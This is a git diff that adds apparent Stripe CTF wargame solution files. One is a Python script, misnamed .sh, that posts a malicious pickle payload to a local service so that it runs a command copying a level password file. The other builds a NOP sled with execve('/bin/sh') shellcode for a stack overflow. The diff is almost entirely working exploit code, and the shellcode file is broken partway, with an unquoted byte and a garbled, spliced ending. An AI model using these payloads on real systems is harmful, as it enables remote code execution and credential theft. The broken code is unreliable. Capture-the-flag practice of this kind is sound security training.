diff --git a/CTFs_and_WarGames/STRIPE_1-2-3/1/pickle_attack.sh b/CTFs_and_WarGames/STRIPE_1-2-3/1/pickle_attack.sh new file mode 100644 index 0000000..4cf2d77 --- /dev/null +++ b/CTFs_and_WarGames/STRIPE_1-2-3/1/pickle_attack.sh @@ -0,0 +1,6 @@ +import pickle, os +HOST = 'localhost:9020' + +os.execve("/usr/bin/curl", ['', HOST, '-d', \ + "bla; job: cos\nsystem\n(S'cat /home/level05/.password \ + > /tmp/pass'\ntR."], {}) diff --git a/CTFs_and_WarGames/STRIPE_1-2-3/1/shellcode.py b/CTFs_and_WarGames/STRIPE_1-2-3/1/shellcode.py new file mode 100644 index 0000000..c9365ee --- /dev/null +++ b/CTFs_and_WarGames/STRIPE_1-2-3/1/shellcode.py @@ -0,0 +1,12 @@ +import struct, subprocess + +STACK = 0x0804857b +NOP = \x90 +SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" +EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE + +stack_ptr = struct.pack(" file +done \ No newline at end of file